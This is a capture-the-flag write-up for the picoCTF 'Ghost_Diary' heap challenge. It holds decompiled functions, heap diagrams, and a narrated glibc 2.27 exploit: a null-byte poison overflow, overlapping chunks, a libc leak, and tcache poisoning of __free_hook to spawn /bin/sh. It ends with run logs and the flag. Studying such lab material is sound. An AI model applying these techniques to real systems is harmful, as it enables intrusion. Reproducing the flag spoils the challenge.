Comment on page
Ghost_Diary
Try writing in this ghost diary. Its also found in /problems/ghost-diary_5_7e39864bc6dc6e66a1ac8f4632e5ffba on the shell server.
- 1.Analysis commands (run on shell server):$ ldd ghostdiarylinux-vdso.so.1 (0x00007ffc22b9f000)libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f860ee47000)/lib64/ld-linux-x86-64.so.2 (0x00007f860f43b000)$ strings /lib/x86_64-linux-gnu/libc.so.6 | grep GNUGNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.Compiled by GNU CC version 7.3.0.$ checksec ghostdiaryArch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabledThe libc version is 2.27 which implies the use of tcache with very little security checks. All protections are enabled, implying a heap only exploit.
- 2.Test run:-=-=-=[[Ghost Diary]]=-=-=-1. New page in diary2. Talk with ghost3. Listen to ghost4. Burn the page5. Go to sleep> 11. Write on one side?2. Write on both sides?> 1size: 1page #01. New page in diary2. Talk with ghost3. Listen to ghost4. Burn the page5. Go to sleep> 2Page: 1Content: 1. New page in diary2. Talk with ghost3. Listen to ghost4. Burn the page5. Go to sleep> 4Page: 11. New page in diary2. Talk with ghost3. Listen to ghost4. Burn the page5. Go to sleep> 5bye human!After running, we are given a menu with the following options: New page, Talk with ghost, Listen to ghost, Burn the page, and Go to sleep. We suspect that these operations correspond to a fairly standard heap problem with create, edit, read, delete, and exit.
- 3.
main()
function:create_page()
function:void FUN_00100b0b(void){void *pvVar1;long in_FS_OFFSET;uint local_1c;int local_18;uint local_14;long local_10;local_10 = *(long *)(in_FS_OFFSET + 0x28);local_14 = 0;while ((local_14 < 0x14 && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0))) {local_14 = local_14 + 1;}if (local_14 == 0x14) {puts("Buy new book");}else {puts("1. Write on one side?");puts("2. Write on both sides?");while( true ) {while( true ) {while( true ) {printf("> ");__isoc99_scanf(&DAT_0010119d,&local_18);if (local_18 != 1) break;printf("size: ");__isoc99_scanf(&DAT_0010119d,&local_1c);if (local_1c < 0xf1) goto LAB_00100c64;puts("too big to fit in a page");}if (local_18 != 2) goto LAB_00100ce5;printf("size: ");__isoc99_scanf(&DAT_0010119d,&local_1c);if (0x10f < local_1c) break;puts("don\'t waste pages -_-");}if (local_1c < 0x1e1) break;puts("can you not write that much?");}LAB_00100c64:pvVar1 = malloc((ulong)local_1c);*(void **)(&DAT_00302060 + (ulong)local_14 * 0x10) = pvVar1;if (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) == 0) {puts("oh noooooooo!! :(");}else {*(uint *)(&DAT_00302068 + (ulong)local_14 * 0x10) = local_1c;printf("page #%d\n",(ulong)local_14);}}LAB_00100ce5:if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {return;}/* WARNING: Subroutine does not return */__stack_chk_fail();}edit_page()
function:void FUN_00100cfb(void){long in_FS_OFFSET;uint local_14;long local_10;local_10 = *(long *)(in_FS_OFFSET + 0x28);printf("Page: ");__isoc99_scanf(&DAT_0010119d,&local_14);printf("Content: ");if ((local_14 < 0x14) && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0)) {FUN_00100a5a(*(undefined8 *)(&DAT_00302060 + (ulong)local_14 * 0x10),(ulong)*(uint *)(&DAT_00302068 + (ulong)local_14 * 0x10),(ulong)*(uint *)(&DAT_00302068 + (ulong)local_14 * 0x10));}if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {/* WARNING: Subroutine does not return */__stack_chk_fail();}return;}edit_page_input()
function (FUN_00100a5a()
):void FUN_00100a5a(long param_1,uint param_2){ssize_t sVar1;long in_FS_OFFSET;char local_15;uint local_14;long local_10;local_10 = *(long *)(in_FS_OFFSET + 0x28);local_14 = 0;if (param_2 != 0) {while (local_14 != param_2) {sVar1 = read(0,&local_15,1);if (sVar1 != 1) {puts("read error");/* WARNING: Subroutine does not return */exit(-1);}if (local_15 == '\n') break;*(char *)((ulong)local_14 + param_1) = local_15;local_14 = local_14 + 1;}*(undefined *)(param_1 + (ulong)local_14) = 0;}if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {return;}/* WARNING: Subroutine does not return */__stack_chk_fail();}print_page()
function:void FUN_00100dbe(void){long in_FS_OFFSET;uint local_14;long local_10;local_10 = *(long *)(in_FS_OFFSET + 0x28);printf("Page: ");__isoc99_scanf(&DAT_0010119d,&local_14);printf("Content: ");if ((local_14 < 0x14) && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0)) {puts(*(char **)(&DAT_00302060 + (ulong)local_14 * 0x10));}if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {/* WARNING: Subroutine does not return */__stack_chk_fail();}return;}delete_page()
function:void FUN_00100e69(void){long in_FS_OFFSET;uint local_14;long local_10;local_10 = *(long *)(in_FS_OFFSET + 0x28);printf("Page: ");__isoc99_scanf(&DAT_0010119d,&local_14);if ((local_14 < 0x14) && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0)) {free(*(void **)(&DAT_00302060 + (ulong)local_14 * 0x10));*(undefined8 *)(&DAT_00302060 + (ulong)local_14 * 0x10) = 0;}if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {/* WARNING: Subroutine does not return */__stack_chk_fail();}return;}menu()
function:void FUN_00100e69(void){long in_FS_OFFSET;uint local_14;long local_10;local_10 = *(long *)(in_FS_OFFSET + 0x28);printf("Page: ");__isoc99_scanf(&DAT_0010119d,&local_14);if ((local_14 < 0x14) && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0)) {free(*(void **)(&DAT_00302060 + (ulong)local_14 * 0x10));*(undefined8 *)(&DAT_00302060 + (ulong)local_14 * 0x10) = 0;}if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {/* WARNING: Subroutine does not return */__stack_chk_fail();}return;}Ghidra failed to decompilemain()
, but this should be okay since it probably only handles the logic that calls the above functions.Findings:- The
delete_page()
method correctly sets the pointer to NULL after freeing, so any use-after-free exploit will have to work non-trivially. - There is a null byte overflow in the edit function.
- In addition, we can print any chunk, regardless of if it’s freed or not, which we will use to get a libc leak.
- 1.
tcache
bins prevent us from getting a leak normally by freeing unsorted bin. However, eachtcache
bin can only hold a maximum of 7 chunks, letting us easily overflow it. We create 8 chunks in the unsorted bin range, and free them all. The last freed chunk will have a libc address, which we can leak, since it will be freed to a regular bin. - 2.Throughout this exploit, we will need to ensure that the
tcache
is filled, or else our freed chunks will go into the tcache and not unsorted bins. - 3.This section is somewhat similar to the "zero_to_hero" challenge since we overflow a poison null byte into the next chunk to change the size of the next chunk.
- 4.In this case, in order to perform null byte poisoning we need 3 chunks (size
0x118
but value is0x119
because ofPREV_INUSE
bit).0x00 [ 0xdeadbeef ] [ 0x119 ] A[ ... ][ ... ]0x118 [ ... ] [ 0x119 ] B[ ... ][ ... ]0x230 [ ... ] [ 0x119 ] C[ ... ][ ... ] - 5.We eventually want to shrink chunk B by overwriting the least significant byte of the size header with
0x00
. Thus, the new size of B becomes0x100
. However, we need to change theprev_size
value of the chunk following B or elsemalloc
will error when it is called. This can be done by writing a fake block header into block B that is0x100-0x10
bytes after block B's header. Remember, all blocks overlap with the next block by 8 bytes in 64-bit programs (4 bytes in 32-bit). This overlap contains the last 8 bytes of the block if the block is allocated, but if it is unallocated it contains the size of the previous block. We write the size of0x100
to block_b_header+0xf0
and then free B (to the unsorted list) to setup the backwards consolidation later. We do not write a size to the fake header becausemalloc
does not check the size value. Freeing block B changes thePREV_INUSE
byte of block C, making block C's size value change from0x121
to0x120
, to mark the previous block as not in use. It also0x00 [ 0xdeadbeef ] [ 0x121 ] A[ ... ][ ... ]0x118 [ ... ] [ 0x121 ] B [FREE][ ... ][ ... ]0x218 [ 0x100 prev_size ] [ ... ] [FAKE HEADER][ ... ][ ... ]0x230 [ 0x120 prev_size ] [ 0x120 ] C[ ... ][ ... ]... - 6.We then abuse the null byte overflow to change B’s size. We fill block 7 (block A) with
A
s and the single null byte overflows to change block 8's (block B) size from0x120
to0x100
0x00 [ 0xdeadbeef ] [ 0x121 ] A [FREE][ ... ][ ... ]0x118 [ ... ] [ 0x100 ] B [FREE][ ... ][ ... ]0x218 [ 0x100 prev_size ] [ ... ] [FAKE HEADER][ ... ][ ... ]0x230 [ 0x120 prev_size ] [ 0x120 ] C[ ... ][ ... ]... - 7.When
malloc()
is called, it looks on its list for a piece of memory that is big enough. If it finds one, then it removes that memory from the linked list and returns it to the user. Whenfree()
is called, the memory is put back on the linked list. Now, to be efficient, if there is a chunk of memory on the free list that much bigger than what is requested, then it breaks up that chunk into two chunks: one which is the size of the request (padded to a multiple of 8), and the remainder. The remainder is put on the free list and the one the size of the request is returned to the user. Therefore, runningalloc(0x88)
to create a block of size0x88
will split the chunk in the unsorted list, which in our case is chunk B of size0x118
, into0x88
, as requested by the program, and0x90
which is the leftover amount. - 8.When the block of size
0x88
is requestedmalloc
simply returns a pointer to the block of memory. It does not null out the values or set them to zero likecalloc
does. When block B was initially freed to the unsorted list the backwards pointer was overwritten with the address of the unsorted bin list in libc'smain_arena
. Thus, when it is split and the top part is returned we get a block of memory containing a libc address. We can calculate the offset and obtain the libc base address. Fore more information about howmalloc
determines which address to return visit the MallocInternals glibc wiki page (Archive) and read the "Malloc Algorithm" section (although the whole page is great and I recommend reading it all if you are unfamiliar). The image below shows the state of the heap aftermalloc(0x88)
is called:0x00 [ 0xdeadbeef ] [ 0x121 ] A[ ... ][ ... ]0x118 [ ... ] [ 0x91 ] B1[ ... ][ ... ]0x1a8 [ ... ] [ 0x70 ] B2 [FREE][ ... ][ ... ]0x218 [ 0x70 prev_size ] [ ... ] [FAKE HEADER][ ... ][ ... ]0x230 [ 0x120 prev_size ] [ 0x120 ] C[ ... ][ ... ]...
- 1.We can call
malloc
again to get our chunk that we’ll collapse over. Specifically, to request a chunk of size0x30
, leaving a remainder of0x40
since B2 is being split. The heap now looks like this:0x00 [ 0xdeadbeef ] [ 0x121 ] A[ ... ][ ... ]0x118 [ ... ] [ 0x91 ] B1[ ... ][ ... ]0x1a8 [ ... ] [ 0x41 ] B2[ ... ][ ... ]0x1e8 [ ... ] [ 0x30 ] B3 [FREE][ ... ][ ... ]0x218 [ 0x30 prev_size ] [ ... ] [FAKE HEADER][ ... ][ ... ]0x230 [ 0x120 prev_size ] [ 0x120 ] C[ ... ][ ... ]... - 2.We then free B1 to ensure that a proper
prev_size
header is written:0x00 [ 0xdeadbeef ] [ 0x121 ] A[ ... ][ ... ]0x118 [ ... ] [ 0x91 ] B1 [FREE][ ... ][ ... ]0x1a8 [ 0x90 ] [ 0x40 ] B2[ ... ][ ... ]0x1e8 [ ... ] [ 0x30 ] B3 [FREE][ ... ][ ... ]0x218 [ 0x30 prev_size ] [ ... ] [FAKE HEADER][ ... ][ ... ]0x230 [ 0x120 prev_size ] [ 0x120 ] C[ ... ][ ... ]... - 3.Now, we can free chunk C to backwards consolidate over B2, resulting in overlapping chunks (this ctf-wiki page might be helpful in understanding overlapping chunks). Since we have overlapping chunks, we control chunk B2 we can free it so it goes in the tcache. Then, we create a chunk of size
0x130
to allocate our consolidated, overlapping chunk into page 0 of the "diary". - 4.Next, we overwrite the forward address of chunk B2 with the address of
free_hook
by using our overlapped chunks and writing directly into B2. Also, specify the argument tosystem()
to be/bin/sh
. We request the next block from the tcache list, leaving the head of the list pointing at the forward pointer of the chunk we just freed. We overwrote this forward pointer tofree_hook
. Then, we request the next chunk from the same tcache list. This will return a pointer tofree_hook
. After that, we set the address that page 2 points to, which is actually free_hook, tosystem
by editting the page that points to__free_hook
. - 5.We overwrote the
__free_hook
pointer to thesystem('/bin/sh')
function. So, now we actually have to use our overwritten memory by callingfree()
, which redirects its actions to whatever function__free_hook
happens to point to. Fore more info about__free_hook
see step 2 of "Stage 2: Overwrite an Address" of the "zero_to_hero" writeup. - 6.[*] '~/Documents/PicoCTF/Binary Exploitation/Ghost_Diary/ghostdiary'Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabled[*] '/lib/x86_64-linux-gnu/libc.so.6'Arch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: PIE enabled[+] Connecting to 2019shell1.picoctf.com on port 22: Done[*] <username>@2019shell1.picoctf.com:Distro Ubuntu 18.04OS: linuxArch: amd64Version: 4.15.0ASLR: Enabled[+] Opening new channel: 'pwd': Done[+] Receiving all data: Done (14B)[*] Closed SSH channel with 2019shell1.picoctf.com[*] Working directory: '/tmp/tmp.9PpiXJTvxN'[+] Opening new channel: 'ln -s /home/<username>/* .': Done[+] Receiving all data: Done (0B)[*] Closed SSH channel with 2019shell1.picoctf.com[+] Starting remote process b'/problems/ghost-diary_5_7e39864bc6dc6e66a1ac8f4632e5ffba/ghostdiary' on 2019shell1.picoctf.com: pid 2221031[*] Prepare chunks to overcome tcache 0x118 bin[*] Allocate chunks A, B, and C[*] Prepare chunks to overcome tcache 0x88 bin[*] Edit chunk B to create a fake chunk header with a `prev_size` value of 0x100[*] Fill tcache 0x118 bin with chunks allocated earlier[*] Free chunk B to the unsorted list[*] Execute null byte overflow into chunk B to modify size[*] Split chunk B into B1 and B2 by creating a chunk of size 0x88[*] Leak libc by reading chunk B1 (entry 0)[*] Leaked libc: 0x7f61e1fc9d90[*] Libc base: 0x7f61e1bde000[*] __free_hook: 0x7f61e1fcb8e8[*] system: 0x7f61e1c2d440[*] Call `malloc` to get our chunk that we’ll collapse over[*] Fill tcache 0x88 bin with chunks allocated earlier[*] Free chunk B1 (size 0x88) to ensure that a proper `prev_size` header is written[*] Free chunk C to backwards consolidate over B2, resulting in overlapping chunks[*] Free chunk B2 so it goes into the tcache[*] Create a chunk of size 0x130 to allocate the overlapping chunk[*] Overwrite the forward address of chunk B2 to `__free_hook` by using overlapped chunks[*] Remove chunk B2 from the tcache list, leaving the head pointing at `__free_hook`[*] Request the next chunk from the same tcache list to add a pointer to `__free_hook` to the diary.[*] Set `__free_hook` to `system('/bin/sh')` by editing the page that points to `__free_hook`[*] Call `free()`, which will run `__free_hook` and therefore run `system('/bin/sh')`[*] Run `cat flag.txt` in the shell, regex match the flag, and print it[+] picoCTF{nu11_byt3_Gh05T_abf74d12}
picoCTF{nu11_byt3_Gh05T_abf74d12}
Last modified 2yr ago